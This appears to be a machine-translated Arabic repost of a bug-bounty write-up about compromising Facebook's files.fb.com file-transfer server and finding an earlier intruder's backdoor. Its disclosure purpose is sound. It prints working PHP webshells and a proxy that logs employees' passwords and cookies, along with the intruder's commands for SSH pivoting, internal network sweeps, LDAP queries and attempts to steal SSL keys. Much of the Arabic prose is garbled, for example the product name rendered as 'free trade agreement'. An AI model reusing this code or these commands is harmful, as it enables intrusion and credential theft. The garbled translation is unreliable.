كيف اخترق الفيسبوك، وجدت مستتر سيناريو شخص
مقدمة
نتيجة لpentester، وأنا أحب نقاط الضعف من جانب الخادم أكثر من تلك التي العميل. لماذا؟ لأنه وسيلة أكثر برودة بكثير لتولي خادم مباشرة والحصول على امتيازات النظام SHELL. <())>
بالطبع، كل من نقاط الضعف من جانب الخادم والعميل لا غنى عنها في اختبار الاختراق مثالية. في بعض الأحيان، من أجل تولي خادم أكثر أناقة، كما أنها تحتاج إلى بعض نقاط الضعف من جانب العميل أن تفعل خدعة. ولكن الحديث عن العثور على نقاط الضعف، وأنا أفضل أن تجد نقاط الضعف من جانب الخادم الأول.
مع تزايد شعبية الفيسبوك في جميع أنحاء العالم، لقد كنت دائما مهتمة في اختبار أمن الفيسبوك. لحسن الحظ، في عام 2012، أطلقت الفيسبوك المكافأة برنامج الشوائب، والتي حتى دفعني لاعطائها رصاصة واحدة.
من وجهة نظر pentester، وأنا أميل إلى البدء من ركن والقيام ببعض الأبحاث. أولا، سوف تحدد كيفية كبيرة هي "إقليم" للشركة على شبكة الإنترنت، ثم ... في محاولة لايجاد مدخل لطيف للحصول على، على سبيل المثال:
ما يمكنني أن أجد من قبل جوجل التقطيع؟
كم عدد عناوين الفئة ب IP تستخدم؟ كم عدد البرامج المتكاملة الفئة C؟
الذي هو؟ عكس الهوإز؟
ما أسماء النطاقات تستخدم؟ ما هي أسماء النطاقات الداخلية؟ ثم المضي قدما في تعداد النطاقات الفرعية
ما هي التقنيات التي يفضلونها وبائعي المعدات؟
أي خرق البيانات على جيثب أو باستبين؟
…إلخ
وبطبيعة الحال، علة Bounty غير شيئا عن اطلاق هجمات عشوائية دون قيود. وبمقارنة النتائج الخاصة بك مع الإجراءات المسموح بها التي وضعتها فضله علة، فإن الجزء المتداخل تكون جزءا يستحق المحاولة.
هنا أود أن أشرح بعض المشاكل الأمنية المشتركة التي وجدت في الشركات الكبيرة خلال pentesting بإعطاء مثال على ذلك.
بالنسبة لمعظم الشركات، "شبكة الحدود" هو الجزء الصعب ليس لرعاية. عندما المقياس من شركة نمت كبير، وهناك عشرات الآلاف من الموجهات والخوادم وأجهزة الكمبيوتر لنظم المعلومات الإدارية للتعامل، وأنه من المستحيل لبناء آلية مثالية للحماية. لا يمكن إلا أن الهجمات الأمنية أن يدافع مع القواعد العامة، ولكن الهجوم الناجح يحتاج فقط لنقطة ضعف صغيرة. هذا هو السبب الحظ في كثير من الأحيان على جانب المهاجم: الخادم عرضة على "الحدود" ما يكفي لمنح تذكرة سفر إلى الشبكة الداخلية!
قلة الوعي في حماية "معدات شبكات". معظم أجهزة الشبكات لا يقدم الضوابط شل حساسة ويمكن تكوين فقط على واجهة المستخدم. في كثير من الأحيان هو مبني على حماية هذه الأجهزة على طبقة الشبكة. ومع ذلك، المستخدمين قد لا تلاحظ حتى لو كانت الشبهة هذه الأجهزة من قبل 0-يوم أو 1 يوم الهجمات.
أمن الناس: نحن الآن قد شهد ظهور "قاعدة البيانات المخترقة" (المعروف أيضا باسم "قاعدة بيانات الهندسة الاجتماعية" في الصين)، وهذه البيانات المسربة أحيانا يجعل صعوبة في اختراق منخفضة بشكل لا يصدق. فقط الاتصال بقاعدة بيانات مخالفة، والعثور على الاعتماد المستخدم مع وصول VPN ... ثم فويلا! يمكنك المضي قدما في اختراق شبكة الاتصال الداخلية. هذا ينطبق بشكل خاص عندما نطاق خرق البيانات ضخمة جدا أن كلمة رجل مفتاح ويمكن العثور عليها في البيانات خرق. إذا حدث هذا، ثم أمن الشركة ضحية ستصبح شيئا. : P
بالتأكيد، عندما تبحث عن نقاط الضعف في الفيسبوك، تابعت التفكير في اختبارات الاختراق الذي كنت تستخدم ل. عندما كنت اقوم به بعض ريكون والبحوث، وليس فقط لأني بحث عن أسماء النطاقات من الفيسبوك نفسه، ولكن أيضا حاول عكسي الهوإز. ولدهشتي، وجدت اسم نطاق للاهتمام:
tfbnw.net
بدا TFBNW على الوقوف ل "شبكة TheFacebook" ثم وجدت الخادم رفع الصوت عاليا من خلال البيانات العامة
vpn.tfbnw.net
رائع. عندما كنت الوصول vpn.tfbnw.net هناك واجهة تسجيل الدخول جونيبر SSL VPN. ولكن نسخته يبدو أن تكون جديدة تماما وكان هناك ضعف يمكن استغلالها مباشرة ... على الرغم من ذلك، انها جلبت حتى بداية القصة التالية.
بدا الأمر كما لو كان TFBNW اسم المجال الداخلي لالفيسبوك. دعونا نحاول أن تعداد الفئة C المتكاملة من vpn.tfbnw.net وجدت بعض خوادم مثيرة للاهتمام، على سبيل المثال:
خادم البريد بواسطة Outlook Web App
F5 BIGIP SSL VPN
سيسكو ASA SSL VPN
أوراكل للأعمال الإلكترونية
MobileIron MDM
من المعلومات من هذه الخدمة، وأعتقد أن هذه البرامج المتكاملة C فئة هامة نسبيا لالفيسبوك. الآن، والقصة كلها تبدأ هنا رسميا.
الضعف ديسكفري
لقد وجدت سيرفر خاص بين هذه البرامج المتكاملة الفئة C.
files.fb.com
↑ واجهة الدخول من files.fb.com
انطلاقا من الشعار وتذييل الصفحة، يبدو أن هذا Accellion لتأمين نقل الملفات (المعروف فيما بعد باسم FTA)
اتفاقية التجارة الحرة هو المنتج الذي يتيح نقل ملف آمن، تبادل الملفات على الانترنت والمزامنة، وكذلك التكامل مع آليات التوقيع على واحدة بما في ذلك م، LDAP و Kerberos. النسخة المؤسسة حتى يدعم خدمة SSL VPN.
عند رؤية هذا، فإن أول شيء فعلته كان يبحث عن مآثر نشر على شبكة الانترنت. آخر واحد وجدت من HD مور ونشرت يوم الاستشارية هذا Rapid7 ل
نقل Accellion ملف الأجهزة الضعف (CVE-2015-2856، CVE-2015-2857)
وسواء كان هذا الضعف هو استغلال يمكن تحديده من خلال المعلومات نسخة مسربة من "/ توس / getStatus". وفي الوقت اكتشفت files.fb.com تم تحديث لv0.20 لv0.18 معيب. ولكن من شظايا من التعليمات البرمجية المصدر المذكورة في الاستشارية، شعرت أنه مع هذا الاسلوب الترميز يجب أن يكون لا يزال هناك بعض القضايا الأمنية لا تزال في اتفاقية التجارة الحرة إذا ظللت أبحث. لذلك، بدأت في البحث عن نقاط الضعف 0-يوم على منتجات اتفاقية التجارة الحرة!
في الواقع، من اختبار الصندوق الأسود، لم أجد أي نقاط الضعف المحتملة، وكان لي لمحاولة اختبار الصندوق الأبيض. بعد جمع رموز المصدر من الإصدارات السابقة من اتفاقية التجارة الحرة بين العديد من الموارد أتمكن من المضي قدما في نهاية المطاف مع بحثي!
اتفاقية التجارة الحرة بين المنتج
وكانت تتألف أساسا واجهات المستخدم على شبكة الإنترنت من بيرل وPHP
تم تشفيرها رموز المصدر PHP من قبل يونكوبي
الكثير من بيرل الشياطين في الخلفية
أولا حاولت فك التشفير يونكوبي. من أجل تجنب يجري استعراضها من قبل قراصنة الكمبيوتر، والكثير من بائعي معدات شبكة تشفير رموز المصدر منتجاتها. لحسن الحظ، كان نسخة يونكوبي التي تستخدمها اتفاقية التجارة الحرة لم يصل حتى الآن، ويمكن فك مع الأدوات الجاهزة. لكن كان لا يزال لإصلاح بعض التفاصيل، أو انها ستعمل يكون فوضوي ...
بعد مراجعة بسيطة، فكرت Rapid7 يجب أن يكون بالفعل حصلت على أسهل نقاط الضعف. T ^ Tوكانت نقاط الضعف التي تحتاج إلى أن تظهر ليس من السهل استغلالها. ولذلك فإنني بحاجة الى ان ننظر أعمق!
وأخيرا، وجدت 7 نقاط الضعف، بما في ذلك
البرمجة عبر الموقع × 3
قبل مصادقة SQL حقن يؤدي إلى تنفيذ تعليمات برمجية عن بعد
المعروف سر مفتاح يؤدي إلى تنفيذ تعليمات برمجية عن بعد
تجاوز الصلاحيات المحلية × 2
وبصرف النظر عن تقديم التقارير إلى فريق الأمن الفيسبوك، وقدمت نقاط الضعف الأخرى لفريق الدعم Accellion في الاستشارية لتكون مرجعا لهم. بعد مصححة بائع، كما بعثت هذه لCERT / CC وتعيينهم 4 CVEs لنقاط الضعف هذه.
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
وسيتم نشر مزيد من التفاصيل بعد سياسة الإفصاح الكامل!
↑ عن طريق ما قبل مصادقة SQL حقن كتابة Webshell
بعد السيطرة على الملقم بنجاح، وأول شيء هو للتحقق ما إذا كانت بيئة الخادم ودية لك. البقاء على الخادم لفترة أطول، عليك أن تكون على دراية البيئات، والقيود، وسجلات، وغيرها، وحاول جاهدا ألا يتم الكشف. : P
هناك بعض القيود على الملقم:
جدار حماية اتصال صادرة غير متوفرة، بما في ذلك TCP و UDP، المنفذ 53 و 80 و 443
خادم سجل النظام عن بعد
مكنت سجلات Auditd
على الرغم من أن اتصال صادرة لم تكن متوفرة، ولكن بدا مثل ICMP نفق كان يعمل. ومع ذلك، كان هذا فقط برنامج علة فضله، يمكننا ببساطة السيطرة على الملقم مع webshell.
كان هناك شيء غريب؟
في حين جمع تفاصيل الضعف والأدلة لتقديم التقارير إلى الفيسبوك، وجدت بعض الاشياء الغريبة على الدخول على الشبكة.
أولا وقبل كل شيء وجدت بعض رسائل الخطأ PHP غريبة في "/ فار / الأراضي الفلسطينية المحتلة / اباتشي / php_error_log" يبدو رسائل الخطأ هذه أن يكون ناجما عن تعديل رموز عبر الإنترنت؟
↑ سجل خطأ PHP
تابعت مسارات PHP في رسائل الخطأ وانتهت مع اكتشاف الملفات المشبوهة WEBSHELL من "الزوار" السابق غادر.
↑ Webshell على الخادم الفيسبوك
بعض محتويات الملفات هي كما يلي:
sshpass
Right, THAT sshpass
bN3d10Aw.php<?php echo shell_exec($_GET['c']); ?>
<?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
<?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
<?php
include_once('sclient_user_class_standard.inc.orig');
$fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a");
$retries = 0;
$max_retries = 100;
// blah blah blah...
fwrite($fp, date("Y-m-d H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n");
// blah blah blah...
وكانت بعض تلك أول PHP من سطر واحد نموذجي مستتر وليس هناك استثناء واحد: "sclient_user_class_standard.inc"
في include_once "sclient_user_class_standard.inc.orig" كان التطبيق PHP الأصلي للتحقق من كلمة المرور، والهاكر قد أنشأ وكيل في بين لتسجيل GET و POST والقيم كوكي في حين أن بعض العمليات الهامة الجارية.
ملخص موجز، إنشاء القراصنة وكيل في صفحة الاعتماد لتسجيل وثائق تفويض الموظفين الفيسبوك. تم تخزين هذه كلمات السر بتسجيل الدخول تحت دليل على الشبكة العالمية للهاكر لاستخدام WGET كل مرة واحدة في كل حين
مجلد مشترك https://files.fb.com/courier/B3dKe9sQaa0L.log
↑ كلمات السر تسجيل
من هذه المعلومات يمكننا أن نرى أنه بغض النظر عن أوراق الاعتماد بتسجيل الدخول كانت هناك أيضا مضامين الرسائل التي تطلب الملفات من اتفاقية التجارة الحرة، وكانت استدارة هذه أوراق اعتماد تسجيل الدخول بشكل منتظم (سيتم ذكرها لاحقا، وهذا رخيصة نوعا ما ... XD)
وفي الوقت اكتشفت هذه، كان هناك حوالي 300 دخولك أوراق اعتماد المؤرخ بين 1 فبراير إلى 7 من فبراير 1، معظمهم من "@ fb.com" و "@ facebook.com". عند رؤية ذلك اعتقدت انها حادث أمني خطير جدا. في اتفاقية التجارة الحرة، كانت هناك أساسا وضعين للمستخدم تسجيل الدخول
المستخدمين المنتظمين الاشتراك: تم تخزين تجزئة كلمة المرور الخاصة بهم في قاعدة البيانات وتجزئته مشفرة مع SHA256 + ملح
جميع الموظفين الفيسبوك (@ fb.com) استخدام LDAP ومصادقة من قبل م خادم
أعتقد أن هذه أوراق اعتماد تسجيل كلمات السر الحقيقية وأنا ** ** تخمين يمكنهم الوصول إلى خدمات مثل البريد OWA، VPN لاختراق متقدمة ...
وبالإضافة إلى ذلك، قد يكون هذا الهاكر الإهمال: P
تم تمرير المعلمات طروادة من خلال طريقة GET ويمكن التعرف على البصمة له بسهولة في من الدخول على الشبكة
عندما هاكر كان يرسل من الأوامر، وقال انه لن يعتني STDERR، وترك الكثير من رسائل الخطأ أمر في الدخول على الشبكة التي يمكن أن ينظر إلى عمليات القراصنة
من access.log، كل بضعة أيام للهاكر واضحة عن وثائق تفويض انه بتسجيل الدخول
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
Packing files
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout
tar -czvf files.tar.gz files
Enumerating internal network architecture
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
Use ShellScript to scan internal network but forgot to redirect STDERR XD
Attempt to connect internal LDAP server
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
Attempt to steal SSL Private Key
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
After checking the browser, the SSL certificate of files.fb.com was *.fb.com …
بعد أن تم جمع الأدلة الكافية، فإنها تم الإبلاغ فورا إلى فريق الأمن الفيسبوك. البعض من تفاصيل الضعف المصاحب السجلات، لقطات والجداول الزمنية وقدمت أيضا الانجاز
أيضا، من سجل على الخادم، وكان هناك اثنين من الفترات التي تم تشغيل نظام واضح من قبل القراصنة، واحدة في بداية شهر يوليو واحد في منتصف سبتمبر
تموز واحد ويبدو أن الخادم "دوركينغ" وسبتمبر واحد بدا أكثر شراسة. بخلاف الخادم "دوركينغ" نفذت أيضا كيلوغرز. أما بالنسبة للهوية هؤلاء المتسللين اثنين، كانوا نفس الشخص؟ تخمين الخاص بك هو جيدة مثل الألغام. : Pووقع الحادث الساعة يوليو عقده الحق قبل الإعلان عن CVE-2015-2857 استغلالها. سواء كان تركت غزو الاستغلال 1-اليوم أو مجهولة منها 0 يوما في السؤال.
ها هي نهاية القصة، وبصفة عامة، فإنه كان ليس للاهتمام تجربة الانجازوبفضل هذا الحدث، وألهمني لكتابة بعض المقالات عن اختراق: P
وأخيرا وليس آخرا، أود أن أشكر فضله علة وفريق الأمن متسامح الفيسبوك بحيث يمكنني أن أكتب بشكل كامل على هذا الحادث:)
الجدول الزمني
2016/02/05 20:05 تقديم تفاصيل التعرض لفريق الأمن الفيسبوك
2016/02/05 20:08 تلقى استجابة تلقائية
2016/02/06 05:21 إرسال الضعف الاستشارية لفريق الدعم Accellion
2016/02/06 07:42 تلقى استجابة من توماس أن التفتيش في التقدم
2016/02/13 07:43 تلقى استجابة من ريغينالدو حول تلقي الأخطاء باونتي جائزة 10000 $ دولار أمريكي
2016/02/13 المطلوب إذا كان هناك أي شيء أود أن تولي اهتماما خاصا لفي بلوق وظيفة؟
2016/02/13 المطلوب هل هذا الضعف أن يصنف باعتباره RCE أو حقن SQL؟
2016/2/18 تلقى استجابة من ريغينالدو عن إجراء تحقيق الطب الشرعي، وسوف تكون قادرة على عقد آخر بلوق الخاص بك حتى اكتمال هذه العملية؟
2016/2/24 تلقى استجابة من هاي عن فضله وسوف تشمل في دورة المدفوعات مارس.
2016/4/20 تلقى استجابة من ريغينالدو حول يتم التحقيق والطب الشرعي
لا تنسا ان تكن من أعضاء المدونة من هنا , إذا واجهتك اي مشكلة لا تترد فى ترك تعليق
اضف تعليقك